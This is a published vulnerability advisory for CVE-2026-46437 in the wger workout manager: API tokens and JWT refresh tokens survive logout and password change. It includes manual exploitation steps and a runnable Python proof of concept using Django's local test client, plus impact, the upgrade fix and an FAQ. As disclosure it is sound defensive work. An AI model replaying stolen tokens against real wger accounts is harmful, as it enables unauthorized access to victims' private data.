CVE-2026-46437: wger: API credentials remain valid after logout/password change

Published Oct 7, 2026
·
Updated

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/ endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via djangologout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtokentoken - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

- wger/wger/core/views/user.py (logout implementation) - wger/settings/settingsglobal.py (DRF auth configuration, SimpleJWT defaults) - wger/settings/main.py (commonly used production defaults for JWT lifetimes) - wger/wger/utils/apitoken.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account. 2. Obtain a JWT refresh token: - POST /api/v2/token with username/password. 3. Obtain a DRF token (API key): - use /user/api-key (or create token via admin/DB in a test environment). 4. Change password: - POST /<lang>/user/password/change with oldpassword, newpassword1, newpassword2. 5. Prove token replay: - Call a private endpoint using the old DRF token (should still return 200). - Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

python import json import os

def main() -> None: """ PoC for IDENTITY-VULN-01: Proves that password change does not revoke: - DRF authtoken (Authorization: Token <key>) - JWT refresh tokens (still mint access tokens)

This PoC runs entirely in-process using Django's test client + DRF APIClient. It does not require running the dev server. """

os.environ.setdefault("DJANGOSETTINGSMODULE", "settings.main") # Ensure we use the local sqlite DB path used during setup os.environ.setdefault("DJANGODBDATABASE", "db.sqlite3") os.environ.setdefault("DJANGOMEDIAROOT", "media")

import django

django.setup()

from django.conf import settings from django.contrib.auth.models import User from django.test import Client from restframework.authtoken.models import Token from restframework.test import APIClient

username = "pwchangeuserpoc" oldpw = "OldPassw0rd!" newpw = "NewPassw0rd!"

# Create a clean user + DRF token User.objects.filter(username=username).delete() user = User.objects.createuser(username=username, password=oldpw) Token.objects.filter(user=user).delete() drftoken = Token.objects.create(user=user).key

api = APIClient()

# Obtain JWT tokens with old password (proof baseline) robtain = api.post("/api/v2/token", {"username": username, "password": oldpw}, format="json") refresh = getattr(robtain, "data", {}).get("refresh")

# Change password through the actual password change endpoint web = Client() web.forcelogin(user) rpw = web.post( "/en/user/password/change", data={"oldpassword": oldpw, "newpassword1": newpw, "newpassword2": newpw}, follow=False, )

# Old password should fail now (sanity check) robtainold = api.post( "/api/v2/token", {"username": username, "password": oldpw}, format="json", )

# New password should work robtainnew = api.post( "/api/v2/token", {"username": username, "password": newpw}, format="json", )

# DRF token remains valid (private endpoint still accessible) api.credentials(HTTPAUTHORIZATION=f"Token {drftoken}") rdrf = api.get("/api/v2/weightentry/")

# Old refresh remains valid (still mints a new access token) api.credentials() rrefresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

out = { "jwtrefreshlifetimeseconds": int(settings.SIMPLEJWT["REFRESHTOKENLIFETIME"].totalseconds()), "jwtaccesslifetimeseconds": int(settings.SIMPLEJWT["ACCESSTOKENLIFETIME"].totalseconds()), "jwtobtainoldpwbeforechange": robtain.statuscode, "passwordchangestatus": rpw.statuscode, "jwtobtainoldpwafterchange": robtainold.statuscode, "jwtobtainnewpwafterchange": robtainnew.statuscode, "drftokenprivateapiafterchange": rdrf.statuscode, "jwtrefreshwitholdrefreshafterchange": rrefresh.statuscode, "jwtrefreshresponsekeys": sorted(list(getattr(rrefresh, "data", {}).keys())), }

print(json.dumps(out, indent=2))

if name == "main": main()

Expected output (example from a successful run):

json { "jwtrefreshlifetimeseconds": 86400, "jwtaccesslifetimeseconds": 900, "jwtobtainoldpwbeforechange": 200, "passwordchangestatus": 302, "jwtobtainoldpwafterchange": 401, "jwtobtainnewpwafterchange": 200, "drftokenprivateapiafterchange": 200, "jwtrefreshwitholdrefreshafterchange": 200, "jwtrefreshresponsekeys": [ "access" ] }

Impact A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.

Other sources

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/ endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

— MITRE

Affected Software

2 affected components
wger wger<2.6
pip/wger<=2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade wger to a version that resolves this vulnerability.

    Fixed in 2.6

Event History

Oct 7, 2026
CVE Published
via MITRE·01:58 PM
Data Sourced
via MITRE·01:58 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·01:59 PM
Data Sourced
via GitHub·01:59 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·02:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which stolen credentials can be used after the user’s account lifecycle events occur?

An attacker needs a victim’s DRF authtoken used with Authorization: Token or a JWT refresh token. Either credential can continue to provide access to protected /api/v2/* endpoints under the described conditions.

2

Are browser-session logouts affected in the same way as API credentials?

Logout clears the Django session cookie through django_logout(). The issue described concerns bearer-style API credentials, which are not revoked by that logout operation.

3

What can be done if a DRF token may have been exposed?

The DRF token must be manually rotated or deleted. It remains valid until that action is taken.

4

How long can a stolen JWT refresh token remain useful?

A JWT refresh token can continue minting new access tokens until the refresh token naturally expires. The described configuration has no server-side revocation list or token versioning to invalidate it on logout or password change.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203